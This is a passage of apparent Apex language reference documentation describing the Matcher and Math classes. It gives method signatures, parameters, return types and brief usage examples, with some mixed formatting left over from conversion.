The order of map elements is deterministic. You can rely on the order being the same in each subsequent execution of the same code. For example, suppose the values() method returns a list containing value1 and index 0 and value2 and index 1. Subsequent runs of the same code result in those values being returned in the same order.

Example
Map<String, String> colorCodes = new Map<String, String>();
colorCodes.put('Red', 'FF0000');
colorCodes.put('Blue', '0000A0');
List<String> colors = new List<String>();
colors = colorCodes.values();

Matcher Class
Matchers use Patterns to perform match operations on a character string.

Namespace
System

Matcher Methods
The following are methods for Matcher.

IN THIS SECTION:
   end()
   Returns the position after the last matched character.
**end(groupIndex)**
Returns the position after the last character of the subsequence captured by the group index during the previous match operation. If the match was successful but the group itself did not match anything, this method returns -1.

**find()**
Attempts to find the next subsequence of the input sequence that matches the pattern. This method returns true if a subsequence of the input sequence matches this Matcher object’s pattern.

**find(group)**
Resets the Matcher object and then tries to find the next subsequence of the input sequence that matches the pattern. This method returns true if a subsequence of the input sequence matches this Matcher object’s pattern.

**group()**
Returns the input subsequence returned by the previous match.

**group(groupIndex)**
Returns the input subsequence captured by the specified group index during the previous match operation. If the match was successful but the specified group failed to match any part of the input sequence, null is returned.

**groupCount()**
Returns the number of capturing groups in this Matcher object’s pattern. Group zero denotes the entire pattern and is not included in this count.

**hasAnchoringBounds()**
Returns true if the Matcher object has anchoring bounds, false otherwise. By default, a Matcher object uses anchoring bounds regions.

**hasTransparentBounds()**
Returns true if the Matcher object has transparent bounds, false if it uses opaque bounds. By default, a Matcher object uses opaque region boundaries.

**hitEnd()**
Returns true if the end of input was found by the search engine in the last match operation performed by this Matcher object. When this method returns true, it is possible that more input would have changed the result of the last search.

**lookingAt()**
Attempts to match the input sequence, starting at the beginning of the region, against the pattern.

**matches()**
Attempts to match the entire region against the pattern.

**pattern()**
Returns the Pattern object from which this Matcher object was created.

**quoteReplacement(inputString)**
Returns a literal replacement string for the specified string inputString. The characters in the returned string match the sequence of characters in inputString.

**region(start, end)**
Sets the limits of this Matcher object’s region. The region is the part of the input sequence that is searched to find a match.

**regionEnd()**
Returns the end index (exclusive) of this Matcher object’s region.

**regionStart()**
Returns the start index (inclusive) of this Matcher object’s region.

**replaceAll(replacementString)**
Replaces every subsequence of the input sequence that matches the pattern with the replacement string.
Matcher Class

replaceFirst(replacementString)
Replaces the first subsequence of the input sequence that matches the pattern with the replacement string.

requireEnd()
Returns true if more input could change a positive match into a negative one.

reset()
Resets this Matcher object. Resetting a Matcher object discards all of its explicit state information.

reset(inputSequence)
Resets this Matcher object with the new input sequence. Resetting a Matcher object discards all of its explicit state information.

start()
Returns the start index of the first character of the previous match.

start(groupIndex)
Returns the start index of the subsequence captured by the group specified by the group index during the previous match operation. Captured groups are indexed from left to right, starting at one. Group zero denotes the entire pattern, so the expression m.start(0) is equivalent to m.start().

useAnchoringBounds(anchoringBounds)
Sets the anchoring bounds of the region for the Matcher object. By default, a Matcher object uses anchoring bounds regions.

usePattern(pattern)
Changes the Pattern object that the Matcher object uses to find matches. This method causes the Matcher object to lose information about the groups of the last match that occurred. The Matcher object's position in the input is maintained.

useTransparentBounds(transparentBounds)
Sets the transparency bounds for this Matcher object. By default, a Matcher object uses anchoring bounds regions.

end()
Returns the position after the last matched character.

Signature
public Integer end()

Return Value
Type: Integer

end(groupIndex)
Returns the position after the last character of the subsequence captured by the group index during the previous match operation. If the match was successful but the group itself did not match anything, this method returns -1.

Signature
public Integer end(Integer groupIndex)
Parameters

`groupIndex`
Type: Integer

Return Value

Type: Integer

Usage

Captured groups are indexed from left to right, starting at one. Group zero denotes the entire pattern, so the expression `m.end(0)` is equivalent to `m.end()`.

See Understanding Capturing Groups.

`find()`

Attempts to find the next subsequence of the input sequence that matches the pattern. This method returns true if a subsequence of the input sequence matches this Matcher object's pattern.

Signature

`public Boolean find()`

Return Value

Type: Boolean

Usage

This method starts at the beginning of this Matcher object's region, or, if a previous invocation of the method was successful and the Matcher object has not since been reset, at the first character not matched by the previous match.

If the match succeeds, more information can be obtained using the `start`, `end`, and `group` methods.

For more information, see Using Regions.

`find(group)`

Resets the Matcher object and then tries to find the next subsequence of the input sequence that matches the pattern. This method returns true if a subsequence of the input sequence matches this Matcher object's pattern.

Signature

`public Boolean find(Integer group)`

Parameters

`group`
Type: Integer
Return Value
Type: Boolean

Usage
If the match succeeds, more information can be obtained using the start, end, and group methods.

group()
Returns the input subsequence returned by the previous match.

Signature
public String group()

Return Value
Type: String

Usage
Note that some groups, such as (a*), match the empty string. This method returns the empty string when such a group successfully matches the empty string in the input.

group(groupIndex)
Returns the input subsequence captured by the specified group index during the previous match operation. If the match was successful but the specified group failed to match any part of the input sequence, null is returned.

Signature
public String group(Integer groupIndex)

Parameters
groupIndex
Type: Integer

Return Value
Type: String

Usage
Captured groups are indexed from left to right, starting at one. Group zero denotes the entire pattern, so the expression m.group(0) is equivalent to m.group().

Note that some groups, such as (a*), match the empty string. This method returns the empty string when such a group successfully matches the empty string in the input.

See Understanding Capturing Groups.
**groupCount()**
Returns the number of capturing groups in this Matching object's pattern. Group zero denotes the entire pattern and is not included in this count.

**Signature**
```
public Integer groupCount()
```

**Return Value**
Type: Integer

**Usage**
See [Understanding Capturing Groups](#).

**hasAnchoringBounds()**
Returns true if the Matcher object has anchoring bounds, false otherwise. By default, a Matcher object uses anchoring bounds regions.

**Signature**
```
public Boolean hasAnchoringBounds()
```

**Return Value**
Type: Boolean

**Usage**
If a Matcher object uses anchoring bounds, the boundaries of this Matcher object's region match start and end of line anchors such as `^` and `$`.

For more information, see [Using Bounds](#).

**hasTransparentBounds()**
Returns true if the Matcher object has transparent bounds, false if it uses opaque bounds. By default, a Matcher object uses opaque region boundaries.

**Signature**
```
public Boolean hasTransparentBounds()
```

**Return Value**
Type: Boolean

**Usage**
For more information, see [Using Bounds](#).
**hitEnd()**

Returns true if the end of input was found by the search engine in the last match operation performed by this Matcher object. When this method returns true, it is possible that more input would have changed the result of the last search.

**Signature**

```java
class Matcher {
    public boolean hitEnd();
}
```

**Return Value**

Type: `Boolean`

**lookingAt()**

Attempts to match the input sequence, starting at the beginning of the region, against the pattern.

**Signature**

```java
class Matcher {
    public boolean lookingAt();
}
```

**Return Value**

Type: `Boolean`

**Usage**

Like the `matches` method, this method always starts at the beginning of the region; unlike that method, it does not require the entire region be matched.

If the match succeeds, more information can be obtained using the `start`, `end`, and `group` methods.

See `Using Regions`.

**matches()**

Attempts to match the entire region against the pattern.

**Signature**

```java
class Matcher {
    public boolean matches();
}
```

**Return Value**

Type: `Boolean`

**Usage**

If the match succeeds, more information can be obtained using the `start`, `end`, and `group` methods.

See `Using Regions`.

---

2080
pattern()
Returns the Pattern object from which this Matcher object was created.

Signature
public Pattern object pattern()

Return Value
Type: System.Pattern

quoteReplacement(inputString)
Returns a literal replacement string for the specified string inputString. The characters in the returned string match the sequence of characters in inputString.

Signature
public static String quoteReplacement(String inputString)

Parameters
inputString
  Type: String

Return Value
Type: String

Usage
Metacharacters (such as $ or ^) and escape sequences in the input string are treated as literal characters with no special meaning.

region(start, end)
Sets the limits of this Matcher object's region. The region is the part of the input sequence that is searched to find a match.

Signature
public Matcher object region(Integer start, Integer end)

Parameters
start
  Type: Integer
end
  Type: Integer
Return Value
Type: Matcher

Usage
This method first resets the Matcher object, then sets the region to start at the index specified by start and end at the index specified by end.
Depending on the transparency boundaries being used, certain constructs such as anchors may behave differently at or around the boundaries of the region.
See Using Regions and Using Bounds.

regionEnd()
Returns the end index (exclusive) of this Matcher object's region.

Signature
public Integer regionEnd()

Return Value
Type: Integer

Usage
See Using Regions.

regionStart()
Returns the start index (inclusive) of this Matcher object's region.

Signature
public Integer regionStart()

Return Value
Type: Integer

Usage
See Using Regions.

replaceAll(replacementString)
Replaces every subsequence of the input sequence that matches the pattern with the replacement string.

Signature
public String replaceAll(String replacementString)
Parameters

replacementString
Type: String

Return Value
Type: String

Usage

This method first resets the Matcher object, then scans the input sequence looking for matches of the pattern. Characters that are not part of any match are appended directly to the result string; each match is replaced in the result by the replacement string. The replacement string may contain references to captured subsequences.

Note that backslashes (\) and dollar signs ($) in the replacement string may cause the results to be different than if the string was treated as a literal replacement string. Dollar signs may be treated as references to captured subsequences, and backslashes are used to escape literal characters in the replacement string.

Invoking this method changes this Matcher object’s state. If the Matcher object is to be used in further matching operations it should first be reset.

Given the regular expression \a+b, the input "aabfooaabfooabfoob", and the replacement string "-", an invocation of this method on a Matcher object for that expression would yield the string "-foo-foo-foo-".

replaceFirst(replacementString)

Replaces the first subsequence of the input sequence that matches the pattern with the replacement string.

Signature

public String replaceFirst(String replacementString)

Parameters

replacementString
Type: String

Return Value
Type: String

Usage

Note that backslashes (\) and dollar signs ($) in the replacement string may cause the results to be different than if the string was treated as a literal replacement string. Dollar signs may be treated as references to captured subsequences, and backslashes are used to escape literal characters in the replacement string.

Invoking this method changes this Matcher object’s state. If the Matcher object is to be used in further matching operations it should first be reset.

Given the regular expression \dog, the input "zzzdogzzzdogzzz", and the replacement string "\cat", an invocation of this method on a Matcher object for that expression would return the string "zzz\catzzzdogzzz".
**requireEnd()**

Returns true if more input could change a positive match into a negative one.

**Signature**

```java
public Boolean requireEnd()
```

**Return Value**

Type: `Boolean`

**Usage**

If this method returns true, and a match was found, then more input could cause the match to be lost.

If this method returns false and a match was found, then more input might change the match but the match won't be lost.

If a match was not found, then `requireEnd` has no meaning.

**reset()**

Resets this Matcher object. Resetting a Matcher object discards all of its explicit state information.

**Signature**

```java
public Matcher object reset()
```

**Return Value**

Type: `Matcher`

**Usage**

This method does not change whether the Matcher object uses anchoring bounds. You must explicitly use the `useAnchoringBounds` method to change the anchoring bounds.

For more information, see Using Bounds.

**reset(inputSequence)**

Resets this Matcher object with the new input sequence. Resetting a Matcher object discards all of its explicit state information.

**Signature**

```java
public Matcher reset(String inputSequence)
```

**Parameters**

`inputSequence`

Type: `String`
Return Value
Type: Matcher

**start()**
Returns the start index of the first character of the previous match.

**Signature**
```
public Integer start()
```

Return Value
Type: Integer

**start(groupIndex)**
Returns the start index of the subsequence captured by the group specified by the group index during the previous match operation. Captured groups are indexed from left to right, starting at one. Group zero denotes the entire pattern, so the expression `m.start(0)` is equivalent to `m.start()`.

**Signature**
```
public Integer start(Integer groupIndex)
```

**Parameters**

- `groupIndex`
  Type: Integer

Return Value
Type: Integer

**Usage**
See Understanding Capturing Groups on page 499.

**useAnchoringBounds(anchoringBounds)**
Sets the anchoring bounds of the region for the Matcher object. By default, a Matcher object uses anchoring bounds regions.

**Signature**
```
public Matcher object useAnchoringBounds(Boolean anchoringBounds)
```

**Parameters**

- `anchoringBounds`
  Type: Boolean
If you specify `true`, the Matcher object uses anchoring bounds. If you specify `false`, non-anchoring bounds are used.

**Return Value**
Type: `Matcher`

**Usage**
If a Matcher object uses anchoring bounds, the boundaries of this Matcher object’s region match start and end of line anchors such as `^` and `$.

For more information, see Using Bounds on page 499.

**usePattern(pattern)**
Changes the Pattern object that the Matcher object uses to find matches. This method causes the Matcher object to lose information about the groups of the last match that occurred. The Matcher object’s position in the input is maintained.

**Signature**
```java
public Matcher usePattern(Pattern pattern)
```

**Parameters**
- `pattern`
  Type: `System.Pattern`

**Return Value**
Type: `Matcher`

**useTransparentBounds(transparentBounds)**
Sets the transparency bounds for this Matcher object. By default, a Matcher object uses anchoring bounds regions.

**Signature**
```java
public Matcher useTransparentBounds(Boolean transparentBounds)
```

**Parameters**
- `transparentBounds`
  Type: `Boolean`

  If you specify `true`, the Matcher object uses transparent bounds. If you specify `false`, opaque bounds are used.

**Return Value**
Type: `Matcher`
Usage
For more information, see Using Bounds.

Math Class
Contains methods for mathematical operations.

Namespace
System

Math Fields
The following are fields for Math.

IN THIS SECTION:

E
Returns the mathematical constant e, which is the base of natural logarithms.

PI
Returns the mathematical constant pi, which is the ratio of the circumference of a circle to its diameter.

E
Returns the mathematical constant e, which is the base of natural logarithms.

Signature
public static final Double E

Property Value
Type: Double

PI
Returns the mathematical constant pi, which is the ratio of the circumference of a circle to its diameter.

Signature
public static final Double PI

Property Value
Type: Double

Math Methods
The following are methods for Math. All methods are static.
IN THIS SECTION:

- abs(decimalValue)
  Returns the absolute value of the specified Decimal.

- abs(doubleValue)
  Returns the absolute value of the specified Double.

- abs(integerValue)
  Returns the absolute value of the specified Integer.

- abs(longValue)
  Returns the absolute value of the specified Long.

- acos(decimalAngle)
  Returns the arc cosine of an angle, in the range of 0.0 through $\pi$.

- acos(doubleAngle)
  Returns the arc cosine of an angle, in the range of 0.0 through $\pi$.

- asin(decimalAngle)
  Returns the arc sine of an angle, in the range of $-\pi/2$ through $\pi/2$.

- asin(doubleAngle)
  Returns the arc sine of an angle, in the range of $-\pi/2$ through $\pi/2$.

- atan(decimalAngle)
  Returns the arc tangent of an angle, in the range of $-\pi/2$ through $\pi/2$.

- atan(doubleAngle)
  Returns the arc tangent of an angle, in the range of $-\pi/2$ through $\pi/2$.

- atan2(xCoordinate, yCoordinate)
  Converts rectangular coordinates ($xCoordinate$ and $yCoordinate$) to polar ($r$ and $theta$). This method computes the phase $theta$ by computing an arc tangent of $xCoordinate/yCoordinate$ in the range of $-\pi$ to $\pi$.

- cbrt(decimalValue)
  Returns the cube root of the specified Decimal. The cube root of a negative value is the negative of the cube root of that value’s magnitude.

- cbrt(doubleValue)
  Returns the cube root of the specified Double. The cube root of a negative value is the negative of the cube root of that value’s magnitude.

- ceil(decimalValue)
  Returns the smallest (closest to negative infinity) Decimal that is not less than the argument and is equal to a mathematical integer.

- ceil(doubleValue)
  Returns the smallest (closest to negative infinity) Double that is not less than the argument and is equal to a mathematical integer.

- cos(decimalAngle)
  Returns the trigonometric cosine of the angle specified by $decimalAngle$.

- cos(doubleAngle)
  Returns the trigonometric cosine of the angle specified by $doubleAngle$. 

2088
cosh(decimalAngle)
Returns the hyperbolic cosine of \( \text{decimalAngle} \). The hyperbolic cosine of \( d \) is defined to be \( \frac{e^d + e^{-d}}{2} \) where \( e \) is Euler's number.

cosh(doubleAngle)
Returns the hyperbolic cosine of \( \text{doubleAngle} \). The hyperbolic cosine of \( d \) is defined to be \( \frac{e^d + e^{-d}}{2} \) where \( e \) is Euler's number.

exp(exponentDecimal)
Returns Euler's number \( e \) raised to the power of the specified Decimal.

exp(exponentDouble)
Returns Euler's number \( e \) raised to the power of the specified Double.

floor(decimalValue)
Returns the largest (closest to positive infinity) Decimal that is not greater than the argument and is equal to a mathematical integer.

floor(doubleValue)
Returns the largest (closest to positive infinity) Double that is not greater than the argument and is equal to a mathematical integer.

log(decimalValue)
Returns the natural logarithm (base \( e \)) of the specified Decimal.

log(doubleValue)
Returns the natural logarithm (base \( e \)) of the specified Double.

log10(decimalValue)
Returns the logarithm (base 10) of the specified Decimal.

log10(doubleValue)
Returns the logarithm (base 10) of the specified Double.

max(decimalValue1, decimalValue2)
Returns the larger of the two specified Decimals.

max(doubleValue1, doubleValue2)
Returns the larger of the two specified Doubles.

max(integerValue1, integerValue2)
Returns the larger of the two specified Integers.

max(longValue1, longValue2)
Returns the larger of the two specified Longs.

min(decimalValue1, decimalValue2)
Returns the smaller of the two specified Decimals.

min(doubleValue1, doubleValue2)
Returns the smaller of the two specified Doubles.

min(integerValue1, integerValue2)
Returns the smaller of the two specified Integers.

min(longValue1, longValue2)
Returns the smaller of the two specified Longs.

mod(integerValue1, integerValue2)
Returns the remainder of \( \text{integerValue1} \) divided by \( \text{integerValue2} \).

mod(longValue1, longValue2)
Returns the remainder of \( \text{longValue1} \) divided by \( \text{longValue2} \).
pow(doubleValue, exponent)
Returns the value of the first Double raised to the power of exponent.

random()
Returns a positive Double that is greater than or equal to 0.0 and less than 1.0.

rint(decimalValue)
Returns the value that is closest in value to decimalValue and is equal to a mathematical integer.

rint(doubleValue)
Returns the value that is closest in value to doubleValue and is equal to a mathematical integer.

round(doubleValue)
Do not use. This method is deprecated as of the Winter '08 release. Instead, use Math.roundToLong. Returns the closest Integer to the specified Double. If the result is less than -2,147,483,648 or greater than 2,147,483,647, Apex generates an error.

round(decimalValue)
Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode, that is, it rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor.

roundToLong(decimalValue)
Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode, that is, it rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor.

roundToLong(doubleValue)
Returns the closest Long to the specified Double.

signum(decimalValue)
Returns the signum function of the specified Decimal, which is 0 if decimalValue is 0, 1.0 if decimalValue is greater than 0, -1.0 if decimalValue is less than 0.

signum(doubleValue)
Returns the signum function of the specified Double, which is 0 if doubleValue is 0, 1.0 if doubleValue is greater than 0, -1.0 if doubleValue is less than 0.

sin(decimalAngle)
Returns the trigonometric sine of the angle specified by decimalAngle.

sin(doubleAngle)
Returns the trigonometric sine of the angle specified by doubleAngle.

sinh(decimalAngle)
Returns the hyperbolic sine of decimalAngle. The hyperbolic sine of decimalAngle is defined to be \((e^x - e^{-x})/2\) where e is Euler's number.

sinh(doubleAngle)
Returns the hyperbolic sine of doubleAngle. The hyperbolic sine of doubleAngle is defined to be \((e^x - e^{-x})/2\) where e is Euler's number.

sqrt(decimalValue)
Returns the correctly rounded positive square root of decimalValue.

sqrt(doubleValue)
Returns the correctly rounded positive square root of doubleValue.
tan(decimalAngle)
Returns the trigonometric tangent of the angle specified by \textit{decimalAngle}.

tan(doubleAngle)
Returns the trigonometric tangent of the angle specified by \textit{doubleAngle}.

tanh(decimalAngle)
Returns the hyperbolic tangent of \textit{decimalAngle}. The hyperbolic tangent of \textit{decimalAngle} is defined to be \((e^x - e^{-x})/(e^x + e^{-x})\) where \(e\) is Euler's number. In other words, it is equivalent to \(\sinh(x)/\cosh(x)\). The absolute value of the exact \(\text{tanh}\) is always less than 1.

tanh(doubleAngle)
Returns the hyperbolic tangent of \textit{doubleAngle}. The hyperbolic tangent of \textit{doubleAngle} is defined to be \((e^x - e^{-x})/(e^x + e^{-x})\) where \(e\) is Euler's number. In other words, it is equivalent to \(\sinh(x)/\cosh(x)\). The absolute value of the exact \(\text{tanh}\) is always less than 1.

\textbf{abs (decimalValue)}
Returns the absolute value of the specified Decimal.

\textbf{Signature}
\begin{verbatim}
public static Decimal abs(Decimal decimalValue)
\end{verbatim}

\textbf{Parameters}
\begin{verbatim}
decimalValue
Type: Decimal
\end{verbatim}

\textbf{Return Value}
Type: Decimal

\textbf{abs (doubleValue)}
Returns the absolute value of the specified Double.

\textbf{Signature}
\begin{verbatim}
public static Double abs(Double doubleValue)
\end{verbatim}

\textbf{Parameters}
\begin{verbatim}
doubleValue
Type: Double
\end{verbatim}

\textbf{Return Value}
Type: Double
**abs (integerValue)**
Returns the absolute value of the specified Integer.

**Signature**
```java
public static Integer abs(Integer integerValue)
```

**Parameters**
- `integerValue`
  Type: `Integer`

**Return Value**
Type: `Integer`

**Example**
```java
Integer i = -42;
Integer i2 = math.abs(i);
system.assertEquals(i2, 42);
```

**abs (longValue)**
Returns the absolute value of the specified Long.

**Signature**
```java
public static Long abs(Long longValue)
```

**Parameters**
- `longValue`
  Type: `Long`

**Return Value**
Type: `Long`

**acos (decimalAngle)**
Returns the arc cosine of an angle, in the range of 0.0 through `pi`.

**Signature**
```java
public static Decimal acos(Decimal decimalAngle)
```
Parameters

decimalAngle
  Type: Decimal

Return Value
  Type: Decimal

**acos(doubleAngle)**

Returns the arc cosine of an angle, in the range of 0.0 through \( \pi \).

**Signature**

```java
public static Double acos(Double doubleAngle)
```

Parameters

doubleAngle
  Type: Double

Return Value
  Type: Double

**asin(decimalAngle)**

Returns the arc sine of an angle, in the range of \(-\pi/2\) through \(\pi/2\).

**Signature**

```java
public static Decimal asin(Decimal decimalAngle)
```

Parameters

decimalAngle
  Type: Decimal

Return Value
  Type: Decimal

**asin(doubleAngle)**

Returns the arc sine of an angle, in the range of \(-\pi/2\) through \(\pi/2\).

**Signature**

```java
public static Double asin(Double doubleAngle)
```
Parameters

doubleAngle
    Type: Double

Return Value
    Type: Double

atan(decimalAngle)
Returns the arc tangent of an angle, in the range of -\(\pi/2\) through \(\pi/2\).

Signature

public static Decimal atan(Decimal decimalAngle)

Parameters

decimalAngle
    Type: Decimal

Return Value
    Type: Decimal

atan(doubleAngle)
Returns the arc tangent of an angle, in the range of -\(\pi/2\) through \(\pi/2\).

Signature

public static Double atan(Double doubleAngle)

Parameters

doubleAngle
    Type: Double

Return Value
    Type: Double

atan2(xCoordinate, yCoordinate)
Converts rectangular coordinates \((xCoordinate\) and \(yCoordinate)\) to polar \((r\) and \(\theta)\). This method computes the phase \(\theta\) by computing an arc tangent of \(xCoordinate/yCoordinate\) in the range of \(-\pi\) to \(\pi\).

Signature

public static Decimal atan2(Decimal xCoordinate, Decimal yCoordinate)
atan2(xCoordinate, yCoordinate)

Converts rectangular coordinates (xCoordinate and yCoordinate) to polar (r and theta). This method computes the phase theta by computing an arc tangent of xCoordinate/yCoordinate in the range of -pi to pi.

Signature
public static Double atan2(Double xCoordinate, Double yCoordinate)

Parameters
xCoordinate
Type: Double
yCoordinate
Type: Double

Return Value
Type: Double

cbrt(decimalValue)

Returns the cube root of the specified Decimal. The cube root of a negative value is the negative of the cube root of that value's magnitude.

Signature
public static Decimal cbrt(Decimal decimalValue)

Parameters
decimalValue
Type: Decimal

Return Value
Type: Decimal
cbrt(doubleValue)
Returns the cube root of the specified Double. The cube root of a negative value is the negative of the cube root of that value's magnitude.

Signature
public static Double cbrt(Double doubleValue)

Parameters
doubleValue
  Type: Double

Return Value
Type: Double

ceil(decimalValue)
Returns the smallest (closest to negative infinity) Decimal that is not less than the argument and is equal to a mathematical integer.

Signature
public static Decimal ceil(Decimal decimalValue)

Parameters
decimalValue
  Type: Decimal

Return Value
Type: Decimal

ceil(doubleValue)
Returns the smallest (closest to negative infinity) Double that is not less than the argument and is equal to a mathematical integer.

Signature
public static Double ceil(Double doubleValue)

Parameters
doubleValue
  Type: Double

Return Value
Type: Double
**cos (decimalAngle)**
Returns the trigonometric cosine of the angle specified by `decimalAngle`.

**Signature**
```
public static Decimal cos(Decimal decimalAngle)
```

**Parameters**
- `decimalAngle`
  Type: `Decimal`

**Return Value**
Type: `Decimal`

**cos (doubleAngle)**
Returns the trigonometric cosine of the angle specified by `doubleAngle`.

**Signature**
```
public static Double cos(Double doubleAngle)
```

**Parameters**
- `doubleAngle`
  Type: `Double`

**Return Value**
Type: `Double`

**cosh (decimalAngle)**
Returns the hyperbolic cosine of `decimalAngle`. The hyperbolic cosine of \( d \) is defined to be \((e^d + e^{-d})/2\) where \( e \) is Euler's number.

**Signature**
```
public static Decimal cosh(Decimal decimalAngle)
```

**Parameters**
- `decimalAngle`
  Type: `Decimal`

**Return Value**
Type: `Decimal`
**cosh(doubleAngle)**
Returns the hyperbolic cosine of `doubleAngle`. The hyperbolic cosine of `d` is defined to be `(e^d + e^-d)/2` where `e` is Euler’s number.

**Signature**
```
public static Double cosh(Double doubleAngle)
```

**Parameters**
- `doubleAngle`
  Type: `Double`

**Return Value**
Type: `Double`

**exp(exponentDecimal)**
Returns Euler’s number `e` raised to the power of the specified `Decimal`.

**Signature**
```
public static Decimal exp(Decimal exponentDecimal)
```

**Parameters**
- `exponentDecimal`
  Type: `Decimal`

**Return Value**
Type: `Decimal`

**exp(exponentDouble)**
Returns Euler’s number `e` raised to the power of the specified `Double`.

**Signature**
```
public static Double exp(Double exponentDouble)
```

**Parameters**
- `exponentDouble`
  Type: `Double`

**Return Value**
Type: `Double`
**floor(decimalValue)**
Returns the largest (closest to positive infinity) Decimal that is not greater than the argument and is equal to a mathematical integer.

**Signature**
```
public static Decimal floor(Decimal decimalValue)
```

**Parameters**
- `decimalValue`
  Type: Decimal

**Return Value**
Type: Decimal

**floor(doubleValue)**
Returns the largest (closest to positive infinity) Double that is not greater than the argument and is equal to a mathematical integer.

**Signature**
```
public static Double floor(Double doubleValue)
```

**Parameters**
- `doubleValue`
  Type: Double

**Return Value**
Type: Double

**log(decimalValue)**
Returns the natural logarithm (base $e$) of the specified Decimal.

**Signature**
```
public static Decimal log(Decimal decimalValue)
```

**Parameters**
- `decimalValue`
  Type: Decimal

**Return Value**
Type: Decimal
**log(doubleValue)**

Returns the natural logarithm (base $e$) of the specified Double.

**Signature**

```java
public static Double log(Double doubleValue)
```

**Parameters**

- `doubleValue`
  - Type: `Double`

**Return Value**

- Type: `Double`

---

**log10(decimalValue)**

Returns the logarithm (base $10$) of the specified Decimal.

**Signature**

```java
public static Decimal log10(Decimal decimalValue)
```

**Parameters**

- `decimalValue`
  - Type: `Decimal`

**Return Value**

- Type: `Decimal`

---

**log10(doubleValue)**

Returns the logarithm (base $10$) of the specified Double.

**Signature**

```java
public static Double log10(Double doubleValue)
```

**Parameters**

- `doubleValue`
  - Type: `Double`

**Return Value**

- Type: `Double`
**max(decimalValue1, decimalValue2)**

Returns the larger of the two specified Decimals.

**Signature**

```java
public static Decimal max(Decimal decimalValue1, Decimal decimalValue2)
```

**Parameters**

- `decimalValue1`  
  Type: `Decimal`  
- `decimalValue2`  
  Type: `Decimal`

**Return Value**

Type: `Decimal`

**Example**

```java
Decimal larger = math.max(12.3, 156.6);
system.assertEquals(larger, 156.6);
```

**max(doubleValue1, doubleValue2)**

Returns the larger of the two specified Doubles.

**Signature**

```java
public static Double max(Double doubleValue1, Double doubleValue2)
```

**Parameters**

- `doubleValue1`  
  Type: `Double`  
- `doubleValue2`  
  Type: `Double`

**Return Value**

Type: `Double`

**max(integerValue1, integerValue2)**

Returns the larger of the two specified Integers.

**Signature**

```java
public static Integer max(Integer integerValue1, Integer integerValue2)
```
Parameters

integerValue1
Type: Integer

integerValue2
Type: Integer

Return Value
Type: Integer

max(longValue1, longValue2)
Returns the larger of the two specified Longs.

Signature
public static Long max(Long longValue1, Long longValue2)

Parameters

longValue1
Type: Long

longValue2
Type: Long

Return Value
Type: Long

min(decimalValue1, decimalValue2)
Returns the smaller of the two specified Decimals.

Signature
public static Decimal min(Decimal decimalValue1, Decimal decimalValue2)

Parameters

decimalValue1
Type: Decimal

decimalValue2
Type: Decimal

Return Value
Type: Decimal
Example

```java
Decimal smaller = math.min(12.3, 156.6);
system.assertEquals(smaller, 12.3);
```

```java
min(doubleValue1, doubleValue2)
```

Returns the smaller of the two specified Doubles.

**Signature**

```java
public static Double min(Double doubleValue1, Double doubleValue2)
```

**Parameters**

- `doubleValue1`
  - Type: Double
- `doubleValue2`
  - Type: Double

**Return Value**

Type: Double

```java
min(integerValue1, integerValue2)
```

Returns the smaller of the two specified Integers.

**Signature**

```java
public static Integer min(Integer integerValue1, Integer integerValue2)
```

**Parameters**

- `integerValue1`
  - Type: Integer
- `integerValue2`
  - Type: Integer

**Return Value**

Type: Integer

```java
min(longValue1, longValue2)
```

Returns the smaller of the two specified Longs.

**Signature**

```java
public static Long min(Long longValue1, Long longValue2)
```
Parameters

longValue1
Type: Long

longValue2
Type: Long

Return Value
Type: Long

mod(integerValue1, integerValue2)
Returns the remainder of integerValue1 divided by integerValue2.

Signature
public static Integer mod(Integer integerValue1, Integer integerValue2)

Parameters

integerValue1
Type: Integer

integerValue2
Type: Integer

Return Value
Type: Integer

Example

Integer remainder = math.mod(12, 2);
system.assertEquals(remainder, 0);

Integer remainder2 = math.mod(8, 3);
system.assertEquals(remainder2, 2);

mod(longValue1, longValue2)
Returns the remainder of longValue1 divided by longValue2.

Signature
public static Long mod(Long longValue1, Long longValue2)

Parameters

longValue1
Type: Long
Return Value
Type: Long

**pow(doubleValue, exponent)**
Returns the value of the first Double raised to the power of `exponent`.

**Signature**
`public static Double pow(Double doubleValue, Double exponent)`

**Parameters**
- `doubleValue`
  Type: Double
- `exponent`
  Type: Double

Return Value
Type: Double

**random()**
Returns a positive Double that is greater than or equal to 0.0 and less than 1.0.

**Signature**
`public static Double random()`

Return Value
Type: Double

**rint(decimalValue)**
Returns the value that is closest in value to `decimalValue` and is equal to a mathematical integer.

**Signature**
`public static Decimal rint(Decimal decimalValue)`

**Parameters**
- `decimalValue`
  Type: Decimal
**Return Value**
Type: Decimal

**rint(doubleValue)**
Returns the value that is closest in value to `doubleValue` and is equal to a mathematical integer.

**Signature**
```java
public static Double rint(Double doubleValue)
```

**Parameters**
- `doubleValue`
  Type: Double

**Return Value**
Type: Double

**round(doubleValue)**
Do not use. This method is deprecated as of the Winter '08 release. Instead, use `Math.roundToLong`. Returns the closest Integer to the specified Double. If the result is less than -2,147,483,648 or greater than 2,147,483,647, Apex generates an error.

**Signature**
```java
public static Integer round(Double doubleValue)
```

**Parameters**
- `doubleValue`
  Type: Double

**Return Value**
Type: Integer

**round(decimalValue)**
Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode, that is, it rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor.

**Signature**
```java
public static Integer round(Decimal decimalValue)
```
Parameters

decimalValue
  Type: Decimal

Return Value
Type: Integer

Usage
Note that this rounding mode statistically minimizes cumulative error when applied repeatedly over a sequence of calculations.

Example

```java
Decimal d1 = 4.5;
Integer i1 = Math.round(d1);
System.assertEquals(4, i1);

Decimal d2 = 5.5;
Integer i2 = Math.round(d2);
System.assertEquals(6, i2);
```

roundToLong(decimalValue)

Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode, that is, it rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor.

Signature

```java
public static Long roundToLong(Decimal decimalValue)
```

Parameters

decimalValue
  Type: Decimal

Return Value
Type: Long

Usage
Note that this rounding mode statistically minimizes cumulative error when applied repeatedly over a sequence of calculations.

Example

```java
Decimal d1 = 4.5;
Long i1 = Math.roundToLong(d1);
System.assertEquals(4, i1);
```
